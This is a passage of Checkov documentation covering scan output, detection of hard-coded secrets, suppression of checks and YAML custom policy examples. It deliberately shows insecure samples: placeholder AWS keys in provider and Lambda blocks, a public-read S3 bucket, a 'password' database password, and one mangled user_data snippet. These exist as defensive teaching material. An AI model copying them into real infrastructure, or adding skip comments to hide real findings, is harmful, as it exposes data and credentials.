`tf.json` will be a single line. For that reason Checkov will report all findings as line number 0. ```json check: CKV_AWS_21: "Ensure all data stored in the S3 bucket have versioning enabled" FAILED for resource: aws_s3_bucket.customer File: /tf/tf.json:0-0 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-16-enable-versioning ``` If you have installed jq, you can convert a JSON file into multiple lines with the command `terraform show -json tf.plan | jq '.' > tf.json`, making it easier to read the scan result. NOTE: `jq` is required to show the code block as seen below. ```json checkov -f tf.json Check: CKV_AWS_21: "Ensure all data stored in the S3 bucket have versioning enabled" FAILED for resource: aws_s3_bucket.customer File: /tf/tf1.json:224-268 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-16-enable-versioning 225 | "values": { 226 | "acceleration_status": "", 227 | "acl": "private", 228 | "arn": "arn:aws:s3:::mybucket", ``` ================================================ FILE: docs/2.Basics/Reviewing Scan Results.md ================================================ --- layout: default published: true title: Reviewing Scan Results nav_order: 6 --- # Reviewing Scan Results The results of Checkov scans can be viewed in CLI, JSON, JUnit XML, SARIF, or Markdown > Note: For Markdown output, you need to use `github_failed_only` as the `--output` type ## Scan Result Sample (CLI) Consider the following Terraform configuration of an S3 bucket: ```python resource "aws_s3_bucket" "foo-bucket" { region = var.region bucket = local.bucket_name force_destroy = true tags = { Name = "foo-${data.aws_caller_identity.current.account_id}" } versioning { enabled = true } logging { target_bucket = "${aws_s3_bucket.log_bucket.id}" target_prefix = "log/" } server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { kms_master_key_id = "${aws_kms_key.mykey.arn}" sse_algorithm = "aws:kms" } } } acl = "private" } ``` The appropriate output report is: ```python Passed checks: 4, Failed checks: 0, Skipped checks: 0 Check: "Ensure all data stored in the S3 bucket is securely encrypted at rest" PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 Check: "Ensure the S3 bucket has access logging enabled" PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 Check: "Ensure all data stored in the S3 bucket have versioning enabled" PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 Check: "S3 Bucket has an ACL defined which allows public access." PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 ``` The bucket's current configuration seems to comply with the available ``aws_s3_bucket`` resource type checks. However, if the bucket is going to be used for static content hosting, it requires additional configuration to allow public access: ```python resource "aws_s3_bucket" "foo-bucket" { region = var.region bucket = local.bucket_name force_destroy = true tags = { Name = "foo-${data.aws_caller_identity.current.account_id}" } versioning { enabled = true } logging { target_bucket = "${aws_s3_bucket.log_bucket.id}" target_prefix = "log/" } server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { kms_master_key_id = "${aws_kms_key.mykey.arn}" sse_algorithm = "aws:kms" } } } acl = "public-read" } data "aws_caller_identity" "current" {} ``` After configuring the bucket to allow public access, the output report contains the failed check: ```python Passed checks: 3, Failed checks: 1, Skipped checks: 0 Check: "Ensure all data stored in the S3 bucket is securely encrypted at rest" PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 Check: "Ensure the S3 bucket has access logging enabled" PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 Check: "Ensure all data stored in the S3 bucket have versioning enabled" PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 Check: "S3 Bucket has an ACL defined which allows public access." FAILED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 1 | resource "aws_s3_bucket" "foo-bucket" { 2 | region = var.region 3 | bucket = local.bucket_name 4 | force_destroy = true 5 | 6 | tags = { 7 | Name = "foo-${data.aws_caller_identity.current.account_id}" 8 | } 9 | versioning { 10 | enabled = true 11 | } 12 | logging { 13 | target_bucket = "${aws_s3_bucket.log_bucket.id}" 14 | target_prefix = "log/" 15 | } 16 | server_side_encryption_configuration { 17 | rule { 18 | apply_server_side_encryption_by_default { 19 | kms_master_key_id = "${aws_kms_key.mykey.arn}" 20 | sse_algorithm = "aws:kms" 21 | } 22 | } 23 | } 24 | acl = "public-read" 25 | } ``` The corresponding check now fails, and the report includes the appropriate failing configuration source code. In order to skip the failed check, we annotate the bucket with a suppression comment (which needs to appear inside the resource scope): ```python resource "aws_s3_bucket" "foo-bucket" { # checkov:skip=CKV_AWS_20:The bucket is a public static content host region = var.region bucket = local.bucket_name force_destroy = true tags = { Name = "foo-${data.aws_caller_identity.current.account_id}" } versioning { enabled = true } logging { target_bucket = "${aws_s3_bucket.log_bucket.id}" target_prefix = "log/" } server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { kms_master_key_id = "${aws_kms_key.mykey.arn}" sse_algorithm = "aws:kms" } } } acl = "public-read" } ``` Checkov then skips the ``CKV_AWS_20`` check, and the output report is: ```python Passed checks: 3, Failed checks: 0, Skipped checks: 1 Check: "Ensure all data stored in the S3 bucket is securely encrypted at rest" PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 Check: "Ensure the S3 bucket has access logging enabled" PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 Check: "Ensure all data stored in the S3 bucket have versioning enabled" PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 Check: "S3 Bucket has an ACL defined which allows public access." SKIPPED for resource: aws_s3_bucket.foo-bucket Suppress comment: The bucket is a public static content host File: /example.tf:1-25 ``` ## Visualize Checkov output Read more about [sending your Checkov scan results to Prisma Cloud](https://www.checkov.io/2.Basics/Visualizing%20Checkov%20Output.html). ================================================ FILE: docs/2.Basics/Scanning Credentials and Secrets.md ================================================ --- layout: default published: true title: Scanning Credentials and Secrets nav_order: 5 --- # Scanning Credentials and Secrets Checkov can scan for a number of different common credentials such as AWS access keys, Azure service credentials, or private keys that are hard-coded in a Terraform code block. See list of regular expressions [here](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/util/secrets.py). Let’s assume we have the following Terraform provider block: ```yaml # Snippet from main.tf provider "aws" { region = "us-west-2" access_key = "AKIAIOSFODNN7EXAMPLE" secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } ``` As stated in Terraform's documentation: “Hard-coding credentials into any Terraform configuration is not recommended, and risks secret leakage should this file ever be committed to a public version control system.” Run Checkov to detect secrets: ```shell checkov -f main.tf ``` This is the output of the scan ```text _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ version: 1.0.202 terraform scan results: Passed checks: 0, Failed checks: 1, Skipped checks: 0 Check: CKV_AWS_41: "Ensure no hard coded AWS access key and secret key exists" FAILED for resource: provider.aws File: :1-5 1 | provider "aws" { 2 | region = "us-west-2" 3 | access_key = "AKIAIOSFODNN7EXAMPLE" 4 | secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" 5 | } ``` Checkov can also detect secrets defined in lambda variables as shown in the example below. ```yaml resource "aws_lambda_function" "test_lambda" { filename = "resources/lambda_function_payload.zip" function_name = "${local.resource_prefix.value}-analysis" role = "${aws_iam_role.iam_for_lambda.arn}" handler = "exports.test" source_code_hash = "${filebase64sha256("resources/lambda_function_payload.zip")}" runtime = "nodejs12.x" environment { variables = { access_key = "AKIAIOSFODNN7EXAMPLE" secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } } } ``` or in EC2 user data as shown in the example below: ```yaml resource "aws_instance" "compute_host" { # ec2 have plain text secrets in user data ami = "ami-04169656fea786776" instance_type = "t2.nano" user_data = <Deployed via Terraform" | sudo tee /var/www/html/index.html EOF tags = { Name = "${local.resource_prefix.value}-ec2" } } ``` ================================================ FILE: docs/2.Basics/Suppressing and Skipping Policies.md ================================================ --- layout: default published: true title: Suppressing and Skipping Policies nav_order: 3 --- # Suppressing/skipping Like any static-analysis tool, suppression is limited by its analysis scope. For example, if a resource is managed manually, or using configuration management tools, a suppression can be inserted as a simple code annotation. There are two main ways to skip or suppress checks: 1. Suppress individual checks on a per-resource basis 2. Explicitly run or skip certain checks altogether # Suppressing individual checks You can use inline code comments or annotations to skip individual checks for a particular resource. To skip a check on a given Terraform definition block or CloudFormation resource, apply the following comment pattern inside its scope: `checkov:skip=:` * `` is one of the available check scanners. * `` is an optional suppression reason to be included in the output. ### Example The following comment skips the `CKV_AWS_20` check on the resource identified by `foo-bucket`, where the scan checks if an AWS S3 bucket is private. In the example, the bucket is configured with a public read access; Adding the suppression comment skips the appropriate check instead of the check failing. ```python resource "aws_s3_bucket" "foo-bucket" { region = var.region #checkov:skip=CKV_AWS_20:The bucket is a public static content host bucket = local.bucket_name force_destroy = true acl = "public-read" } ``` The output now contains a ``SKIPPED`` check result entry: ```python ... ... Check: "S3 Bucket has an ACL defined which allows public access." SKIPPED for resource: aws_s3_bucket.foo-bucket Suppress comment: The bucket is a public static content host File: /example_skip_acl.tf:1-25 ... ``` ### Cloudformation Example: ```yaml Resources: MyDB: Type: 'AWS::RDS::DBInstance' # Test case for check skip via comment # checkov:skip=CKV_AWS_16:Ensure all data stored in the RDS is securely encrypted at rest Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' ``` ### Dockerfile Example To suppress checks in Dockerfiles the comment can be added to any line inside the file. ```dockerfile #checkov:skip=CKV_DOCKER_5: no need to skip python check #checkov:skip=CKV2_DOCKER_7: no need to skip graph check FROM alpine:3.3 RUN apk --no-cache add nginx EXPOSE 3000 80 443 22 #checkov:skip=CKV_DOCKER_1: required CMD ["nginx", "-g", "daemon off;"] ``` ### Kubernetes Example To suppress checks in Kubernetes manifests, annotations are used with the following format: `checkov.io/skip#: =` ```yaml apiVersion: v1 kind: Pod metadata: name: mypod annotations: checkov.io/skip1: CKV_K8S_20=I don't care about Privilege Escalation :-O checkov.io/skip2: CKV_K8S_14 checkov.io/skip3: CKV_K8S_11=I have not set CPU limits as I want BestEffort QoS spec: containers: ... ``` ### Secrets Example To suppress secrets checks in any configuration file a comment needs to be added directly before, after or next to the infringing line. ```yaml Resources: MyDB: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' # checkov:skip=CKV_SECRET_6 before it MasterUserPassword: 'password' # checkov:skip=CKV_SECRET_6 or next to it # checkov:skip=CKV_SECRET_6 or after it ``` ### CloudFormation Metadata Additionally, it is possible to suppress CloudFormation checks via the `Metadata` section inside a resource. ```yaml Resources: MyDB: Metadata: checkov: skip: - id: "CKV_AWS_157" comment: "Ensure that RDS instances have Multi-AZ enabled" Type: "AWS::RDS::DBInstance" Properties: DBName: "mydb" DBInstanceClass: "db.t3.micro" Engine: "mysql" MasterUsername: "master" MasterUserPassword: "password" ``` ### CDK Example The `Metadata` section of a CDK construct can only be adjusted via the L1 (layer 1) construct, also known as CloudFormation resource. ```typescript const bucket = new aws_s3.Bucket(this, 'MyBucket', { versioned: true }); const cfnBucket = bucket.node.defaultChild as aws_s3.CfnBucket; cfnBucket.cfnOptions.metadata = { 'checkov': { 'skip': [ { 'id': 'CKV_AWS_18', 'comment': 'Ensure the S3 bucket has access logging enabled' } ] } } ``` Run the `synth` command to generate a CloudFormation template and scan it ```shell $ cdk synth Resources: MyBucketF68F3FF0: Type: AWS::S3::Bucket Properties: VersioningConfiguration: Status: Enabled UpdateReplacePolicy: Retain DeletionPolicy: Retain Metadata: checkov: skip: - id: CKV_AWS_18 comment: Ensure the S3 bucket has access logging enabled CDKMetadata: ... $ checkov -f cdk.out/AppStack.template.json _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: 3.0.1 cloudformation scan results: Passed checks: 3, Failed checks: 5, Skipped checks: 1 ... Check: CKV_AWS_18: "Ensure the S3 bucket has access logging enabled" SKIPPED for resource: AWS::S3::Bucket.MyBucketF68F3FF0 Suppress comment: Ensure the S3 bucket has access logging enabled File: /../anton/cfn.json:3-22 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-13-enable-logging ``` ### Software Composition Analysis (SCA) Suppressing SCA findings can be done in a variety of ways to fit your needs. CVEs can be suppressed using `--skip-check CKV_CVE_2022_1234` to suppress a specific CVE for that run or `--skip-cve-package package_name` to skip all CVEs for a specific package. For inline SCA suppressions, depending on the package manager, there are different ways to suppress CVEs and License violations. Adding a skip comment to any package manager file will suppress all findings for that CVE or package and License combination for that file. #### Python (requirements.txt), .NET (Paket), Java/Kotlin (gradle.properties), Ruby (Gemfile) The skip comment can be anywhere in the file. The example below is for requirements.txt ```requirements.txt # checkov:skip=CVE-2019-19844: ignore CVE-2019-19844 for all packages in this file # checkov:skip=jinja2[BC_LIC_1]: ignore non-OSI license violations for jinja2 django==1.2 jinja2==3.1.0 ``` #### JavaScript (package.json and bower.json) The skip comment can be anywhere in the metadata. Add these skip comments to the non-lock file and ensure you scan the non-lock file with any lock file scan. For example, package.json and yarn.lock must be scanned together for the suppression from the package.json to apply to the yarn.lock violations. The example below is for multiple skip comments for package.json ```package.json { "name": "my-package", "version": "1.0.0", "description": "A sample package.json file", "//": ["checkov:skip=express[BC_LIC_2]: ignore unknown license violations for express in this file", "checkov:skip=CVE-2023-123: ignore this CVE for this file"] "dependencies": { "express": "4.17.1", "lodash": "4.17.21" }, "scripts": { "start": "node server.js", "test": "jest" } } ``` Alternatively, you can add a single skip comment ``` "//": "checkov:skip=CVE-2023-123: ignore this CVE for this file" ``` ### Java (pom.xml), .NET (*.csproj) The skip comment can be anywhere in the file. The example below is for pom.xml ```pom.xml org.springframework spring-web 5.3.9 junit junit 4.13.2 test ``` ### Java/Kotlin (build.gradle), Go (go.mod) The skip comment can be anywhere in the file. Adding skips to the go.mod file will apply to the go.sum file. The example below is for go.mod ```go.mod module example.com/myproject go 1.17 require ( github.com/gin-gonic/gin v1.7.4 github.com/go-sql-driver/mysql v1.6.0 //checkov:skip=CVE-2023-123: ignore this CVE for this file //checkov:skip=github.com/go-sql-driver/mysql[BC_LIC_2]: ignore unknown license violations for express in this file ) ``` # Specifying or skipping checks for the entire run You can also fine-tune which checks run or do not run for the overall scan using the `--check` and `--skip-check` flags. You can use these flags to specify check IDs (or wildcards) and / or check severities (if using the platform integration). Any skipped check will simply not run at all and will not appear in the output. Other checks will run as normal (but may result in resource-level skips, as described above). If you specify a severity with the `--check` flag, then any check that is equal to or greater than that severity will be included. If you specify a severity with the `--skip-check` flag, then any check less than or equal to that severity will be skipped. You can also combine the `--check` and `--skip-check` flags when using severities to get a very granular policy set for the run. In this case, the `--check` filter will be applied first to explicitly include checks, and then the `--skip-check` list will be applied to remove any remaining checks. See below for examples. In order to filter by severity, you must run with the platform integration via API key. ## Examples Allow only the two specified checks to run: ```sh checkov --directory . --check CKV_AWS_20,CKV_AWS_57 ``` Run all checks except the one specified: ```sh checkov -d . --skip-check CKV_AWS_20 ``` Run all checks except checks with specified patterns: ```sh checkov -d . --skip-check CKV_AWS* ``` Run all checks that are MEDIUM severity or higher (requires API key): ```sh checkov -d . --check MEDIUM --bc-api-key ... ``` Run all checks that are MEDIUM severity or higher, as well as check CKV_123 (assume this is a LOW severity check): ```sh checkov -d . --check MEDIUM,CKV_123 --bc-api-key ... ``` Skip all checks that are MEDIUM severity or lower: ```sh checkov -d . --skip-check MEDIUM --bc-api-key ... ``` Skip all checks that are MEDIUM severity or lower, as well as check CKV_789 (assume this is a high severity check): ```sh checkov -d . --skip-check MEDIUM,CKV_789 --bc-api-key ... ``` Run all checks that are MEDIUM severity or higher, but skip check CKV_123 (assume this is a medium or higher severity check): ```sh checkov -d . --check MEDIUM --skip-check CKV_123 --bc-api-key ... ``` Run check CKV_789, but skip it if it is a medium severity (the --check logic is always applied before --skip-check) ```sh checkov -d . --skip-check MEDIUM --check CKV_789 --bc-api-key ... ``` For Kubernetes workloads, you can also use allow/deny namespaces. For example, do not report any results for the kube-system namespace: ```sh checkov -d . --skip-check kube-system ``` # Platform enforcement rules Checkov can download [enforcement rules](https://docs.prismacloud.io/en/enterprise-edition/content-collections/application-security/risk-management/monitor-and-manage-code-build/enforcement) that you configure in Prisma Cloud. This allows you to centralize the failure and check threshold configurations, instead of defining them in each pipeline. To use enforcement rules, use the `--use-enforcement-rules` flag along with a platform API key. Enforcement rules allow you to specify a severity soft-fail threshold equivalent to using the `--check ` argument in Checkov. Note that the enforcement rule "soft fail" option is different from the `--soft-fail` options in Checkov. The enforcement rule setting specifies a threshold such that any lower severity policies get skipped, so it is equivalent to the `--check` option. However, whereas this argument is global, the enforcement rules settings are more granular, for each major category of scanner that Checkov has (IaC, secrets, etc). So, for example, you can set the soft-fail level any IaC scan to `MEDIUM` severity or higher (skip all `LOW`), and hard-fail the SCA scan on `HIGH` severity or higher (skip all `MEDIUM` and lower). You can combine the platform enforcement rules with the `--check` and `---skip-check` arguments to customize the options for a specific run. It will have the following effects. Note that these flags are still global and will get merged with the relevant enforcement rule for the particular framework being scanned. * If you use `--check` and / or `--skip-check` with only check IDs (not severities), then it combines those lists with the soft fail threshold from the enforcement rule. * If you use `--check` and / or `--skip-check` with a severity, then those severities override the enforcement rule soft fail threshold for all runners. ================================================ FILE: docs/2.Basics/Visualizing Checkov Output.md ================================================ --- layout: default published: true title: Visualizing Checkov Output nav_order: 6 --- # Visualizing Checkov Output in Prisma Cloud You can integrate Checkov with Prisma Cloud to view the results of Checkov scans in Prisma Cloud. ![Prisma Cloud Dashboard](pc-dashboard.png) ## Integration ### Get your Access Key and Secret Key To get a Prisma Cloud issued Access Key and Secret Key token, follow the steps in the [Prisma Cloud documentation](https://docs.prismacloud.io/en/enterprise-edition/content-collections/application-security/get-started/connect-code-and-build-providers/ci-cd-runs/add-checkov). ## Execution After acquiring the Access Key and Secret Key token, run Checkov as follows: ```shell checkov -d --bc-api-key :: --prisma-api-url --repo-id --branch ``` Or by using the `-f` file flag: ```shell checkov -f ... --bc-api-key :: --prisma-api-url --repo-id --branch ``` The table below details the arguments used when executing the API token: | Argument | Description | | -------- | ----------- | | `::` | Prisma cloud API key in the following format `ACCESS_KEY::SECRET_KEY` | | `` | Identifying string of the scanned repository, following the standard Git repository naming scheme: `/` | | `` | Branch name to be persisted on platform. Defaults to the master branch. **NOTE:** Ensure the scanned directory (supplied in the `-d` flag) is currently checked out from the given branch name. | ### Environment Variables To enrich Prisma Cloud's context with CI/CD systems data, we strongly recommend that Checkov uses environment variables. | Environment Variable | Description | Example | |---------------------------------|--------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------| | BC_FROM_BRANCH | Source branch | feature/foo | | BC_TO_BRANCH | Target branch | main | | BC_PR_ID | Pull request identifier | 825 | | BC_PR_URL | Link to pull request/merge request | https://github.com/bridgecrewio/checkov/pull/825 | | BC_COMMIT_HASH | Commit identifier | 5df50ab857e7a255e4e731877748b539915ad489 | | BC_COMMIT_URL | Link to commit in CI/VCS system | https://github.com/bridgecrewio/checkov/commit/5df50ab857e7a255e4e731877748b539915ad489 | | BC_AUTHOR_NAME | User associated with the CI trigger | schosterbarak | | BC_AUTHOR_URL | Link to the user profile page | https://github.com/schosterbarak | | BC_RUN_ID | CI run identifier | 525220526 | | BC_RUN_URL | Link to the run in the CI system | https://github.com/bridgecrewio/checkov/actions/runs/525220526 | | BC_REPOSITORY_URL | Link to the GitHub repository | https://github.com/bridgecrewio/checkov/ | | BC_SOURCE | Name of CI system being integrated | githubActions | | PRISMA_API_URL | URL of Prisma app for platform integration | https://app3.prismacloud.io | | SLS_FILE_MASK | File names mask for all serverless files | serverless.yaml,serverless.yml | | CHECKOV_REQUEST_CONNECT_TIMEOUT | Number of seconds requests will wait to establish a connection to the platform | 3.1 | | CHECKOV_REQUEST_READ_TIMEOUT | Number of seconds requests will wait for the platform to send a response. This duration matches our timeout settings, so changes are likely unnecessary. | 30 | | CHECKOV_REQUEST_RETRIES | Number of retries requests will do towards the platform | 3 | ## Prisma Cloud platform view After successfully executing, scan results are persisted in [Prisma Cloud](https://www.prismacloud.io), and can be seen in Projects. ![Prisma Cloud Projects](pc-projects.png) ================================================ FILE: docs/3.Custom Policies/Custom Policies Overview.md ================================================ --- layout: default published: true title: Custom Policies Overview nav_order: 1 --- # Custom Policies Overview Custom Policies allow monitoring and enforcing of cloud infrastructure configuration in accordance with your organization's specific needs. For example, for certain resource types, you may want to enforce a tagging methodology or a special secure password policy; or you may want to restrict usage of a new service depending on the types of other services it is connected to. * You can create custom policies in [Python](https://www.checkov.io/3.Custom%20Policies/Python%20Custom%20Policies.html) that check for the status of configuration attributes. * You can create custom policies in [YAML](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html) that can both check for the status of configuration attributes and check the connection state between types of resources. * You can also apply sophisticated logic to multiple conditions within a Custom Policy. Check out our [custom policy examples](https://www.checkov.io/3.Custom%20Policies/Examples.html). * After creating tests for your custom policies, you can contribute them back to Checkov! Learn how to [contribute your policies](https://www.checkov.io/6.Contribution/Contribution%20Overview.html). ================================================ FILE: docs/3.Custom Policies/Examples.md ================================================ --- layout: default published: true title: Custom YAML Policies Examples nav_order: 4 --- # Examples - YAML-Based Custom Policies ## Basic Query - One Attribute Block ```yaml --- metadata: name: "Check that all resources are tagged with the key - env" id: "CKV2_AWS_1" category: "GENERAL_SECURITY" scope: provider: aws definition: cond_type: "attribute" resource_types: "taggable" attribute: "tags.env" operator: "exists" ``` ```yaml --- metadata: name: "Check that all resources are tagged with the key - env" id: "CKV2_AWS_1" category: "GENERAL_SECURITY" definition: cond_type: "attribute" resource_types: "all" attribute: "lifecycle" operator: "not_exists" ``` ## Basic Query - Module block example ```yaml --- metadata: name: "Ensure all modules are using the official AWS ones" id: "CKV2_AWS_1" category: "SUPPLY_CHAIN" definition: cond_type: attribute resource_types: - module attribute: source operator: starting_with value: terraform-aws-modules ``` # Basic Query - Provider custom policy check ```yaml --- metadata: name: "Ensure a certain region is not added" id: "CKV2_AWS_3" category: "GENERAL_SECURITY" definition: cond_type: "attribute" resource_types: - "provider.aws" attribute: "region" operator: "not_contains" value: "us-west-1" ``` ## OR - Multiple Attribute Blocks ```yaml --- metadata: id: "CUSTOM_GRAPH_AWS_3" name: "Ensure a certain region is not added" category: "GENERAL_SECURITY" scope: provider: "AWS" definition: and: - cond_type: "attribute" resource_types: - "provider" attribute: "default_tags" operator: exists - cond_type: "attribute" resource_types: - "provider" attribute: "region" operator: "not_contains" value: "us-west-1" ``` ```yaml metadata: name: "Everything must be tagged or labeled" id: "CUSTOM_GRAPH_5" category: "GENERAL_SECURITY" definition: or: - cond_type: "attribute" resource_types: "taggable" attribute: "tags" operator: "exists" - cond_type: "attribute" resource_types: "taggable" attribute: "labels" operator: "exists" ``` ## Basic Query - Terraform plan resource not deleted ```yaml --- metadata: name: "Ensure Secret is not deleted" id: "CKV2_AWS_1" category: "GENERAL_SECURITY" definition: cond_type: attribute resource_types: - aws_secretsmanager_secret attribute: __change_actions__ operator: not_contains value: delete ``` ## OR at Top Level - Two Attribute Blocks ```yaml --- metadata: name: "Org's compute instances should not be t3.micro or t3.nano" id: "CKV2_AWS_1" category: "NETWORKING" definition: or: - cond_type: "attribute" resource_types: - "aws_instance" attribute: "instance_type" operator: "not_equals" value: "t3.micro" - cond_type: "attribute" resource_types: - "aws_instance" attribute: "instance_type" operator: "not_equals" value: "t3.nano" ``` ## OR Logic - Attribute Block ```yaml --- metadata: name: "Check that all encrypted RDS clusters are tagged with encrypted: true" id: "CKV2_AWS_1" category: "SECRETS" definition: and: - cond_type: "attribute" resource_types: - "aws_rds_cluster" attribute: "tags.encrypted" operator: "equals" value: "true" - or: - cond_type: "attribute" resource_types: - "aws_rds_cluster" attribute: "kms_key_id" operator: "exists" - cond_type: "attribute" resource_types: - "aws_rds_cluster" attribute: "storage_encrypted" operator: "equals" value: "true" ``` ## OR - Multiple Attribute Blocks ```yaml --- metadata: name: "Ensure all AWS databases have Backup Policy" id: "CKV2_AWS_1" category: "BACKUP_AND_RECOVERY" definition: or: - cond_type: "attribute" resource_types: - "aws_rds_cluster" - "aws_db_instance" attribute: "backup_retention_period" operator: "not_exists" - cond_type: "attribute" resource_types: - "aws_rds_cluster" - "aws_db_instance" attribute: "backup_retention_period" operator: "not_equals" value: "0" - cond_type: "attribute" resource_types: - "aws_redshift_cluster" attribute: "automated_snapshot_retention_period" operator: "not_equals" value: "0" - cond_type: "attribute" resource_types: - "aws_dynamodb_table" attribute: "point_in_time_recovery" operator: "not_equals" value: "false" - cond_type: "attribute" resource_types: - "aws_dynamodb_table" attribute: "point_in_time_recovery" operator: "exists" ``` ## Simple Connection State Block and Filter and Attribute Blocks ```yaml --- metadata: name: "Ensure all EC2s are connected only to encrypted EBS volumes" id: "CKV2_AWS_1" category: "ENCRYPTION" definition: and: - cond_type: "attribute" resource_types: - "aws_ebs_volume" attribute: "encrypted" operator: "equals" value: "true" - cond_type: "connection" resource_types: - "aws_volume_attachment" connected_resource_types: - "aws_ebs_volume" operator: "exists" - cond_type: "filter" attribute: "resource_type" value: - "aws_ebs_volume" operator: "within" ``` ## Simple Connection State Block and Filter and Attribute Blocks - Data block example ```yaml --- metadata: name: "Ensure admin groups are not created" id: "CKV2_AZURE_999" category: "IAM" definition: and: - cond_type: filter attribute: resource_type operator: within value: - azuredevops_group_membership - or: - cond_type: connection resource_types: - azuredevops_group_membership connected_resource_types: - data.azuredevops_group operator: not_exists - and: - cond_type: connection resource_types: - azuredevops_group_membership connected_resource_types: - data.azuredevops_group operator: exists - cond_type: attribute resource_types: - data.azuredevops_group attribute: name operator: not_equals value: "Build Administrators" ``` ## Complex Definition - Connection State Block and Filter and Attribute Blocks - Example 1 ```yaml --- metadata: name: "Ensure all ALBs are connected only to HTTPS listeners" id: "CKV2_AWS_1" category: "NETWORKING" definition: and: - cond_type: "filter" value: - "aws_lb" attribute: "resource_type" operator: "within" - cond_type: "attribute" resource_types: - "aws_lb" attribute: "load_balancer_type" operator: "equals" value: "application" - or: - cond_type: "connection" resource_types: - "aws_lb" connected_resource_types: - "aws_lb_listener" operator: "not_exists" - and: - cond_type: "connection" resource_types: - "aws_lb" connected_resource_types: - "aws_lb_listener" operator: "exists" - cond_type: "attribute" resource_types: - "aws_lb_listener" attribute: "certificate_arn" operator: "exists" - cond_type: "attribute" resource_types: - "aws_lb_listener" attribute: "ssl_policy" operator: "exists" - cond_type: "attribute" resource_types: - "aws_lb_listener" attribute: "protocol" operator: "equals" value: "HTTPS" - or: - cond_type: "attribute" resource_types: - "aws_lb_listener" attribute: "default_action.redirect.protocol" operator: "equals" value: "HTTPS" - cond_type: "attribute" resource_types: - "aws_lb_listener" attribute: "default_action.redirect.protocol" operator: "not_exists" - or: - cond_type: "connection" resource_types: - "aws_lb_listener_rule" connected_resource_types: - "aws_lb_listener" operator: "not_exists" - and: - cond_type: "connection" resource_types: - "aws_lb_listener_rule" connected_resource_types: - "aws_lb_listener" operator: "exists" - or: - cond_type: "attribute" resource_types: - "aws_lb_listener_rule" attribute: "default_action.redirect.protocol" operator: "equals" value: "HTTPS" - cond_type: "attribute" resource_types: - "aws_lb_listener_rule" attribute: "default_action.redirect.protocol" operator: "not_exists" ``` ## Complex Definition - Connection State Block and Filter and Attribute Blocks - Example 2 ```yaml --- metadata: name: "Ensure resources allows encrypted ingress communication (SSH)" id: "CKV2_AWS_1" category: "NETWORKING" definition: and: - cond_type: "filter" attribute: "resource_type" value: - "aws_instance" - "aws_elb" - "aws_lb" - "aws_db_instance" - "aws_elasticache_cluster" - "aws_emr_cluster" - "aws_redshift_cluster" - "aws_elasticsearch_domain" - "aws_rds_cluster" - "aws_efs_mount_target" - "aws_efs_file_system" - "aws_ecs_service" operator: "within" - cond_type: "connection" resource_types: - "aws_instance" - "aws_elb" - "aws_lb" - "aws_db_instance" - "aws_elasticache_cluster" - "aws_emr_cluster" - "aws_redshift_cluster" - "aws_elasticsearch_domain" - "aws_rds_cluster" - "aws_efs_mount_target" - "aws_efs_file_system" - "aws_ecs_service" connected_resource_types: - "aws_security_group" - "aws_default_security_group" operator: "exists" - or: - cond_type: "attribute" resource_types: - "aws_security_group" - "aws_default_security_group" attribute: "ingress.from_port" operator: "equals" value: "22" - cond_type: "attribute" resource_types: - "aws_security_group" - "aws_default_security_group" value: "22" operator: "equals" attribute: "ingress.to_port" - or: - cond_type: "connection" resource_types: - "aws_security_group_rule" connected_resource_types: - "aws_security_group" - "aws_default_security_group" operator: "not_exists" - and: - cond_type: "connection" resource_types: - "aws_security_group_rule" connected_resource_types: - "aws_security_group" - "aws_default_security_group" operator: "exists" - cond_type: "attribute" resource_types: - "aws_security_group_rule" attribute: "type" operator: "equals" value: "ingress" - or: - cond_type: "attribute" resource_types: - "aws_security_group_rule" attribute: "to_port" operator: "equals" value: "22" - cond_type: "attribute" resource_types: - "aws_security_group_rule" attribute: "from_port" operator: "equals" value: "22" ``` ## Using a wildcard to evaluate all elements of a list The following policy will pass if and only if all of the `cidr_blocks` arrays within the `ingress` blocks of a security group do not contain `0.0.0.0/0`. ```yaml definition: not: cond_type: attribute resource_types: - "aws_security_group" attribute: "ingress.*.cidr_blocks" operator: "contains" value: "0.0.0.0/0" ``` ## Using a jsonpath operator to evaluate complex attributes The following policy looks for a CloudFormation S3 Bucket with a tag name `env` and it should have one of the values `prod` or `prod-eu`. ```yaml definition: cond_type: "attribute" resource_types: - "AWS::S3::Bucket" attribute: "Tags[?(@.Key == env)].Value" operator: "jsonpath_within" value: - prod - prod-eu ``` ## Creating an allow list of resource types The following policy only allows resources of type 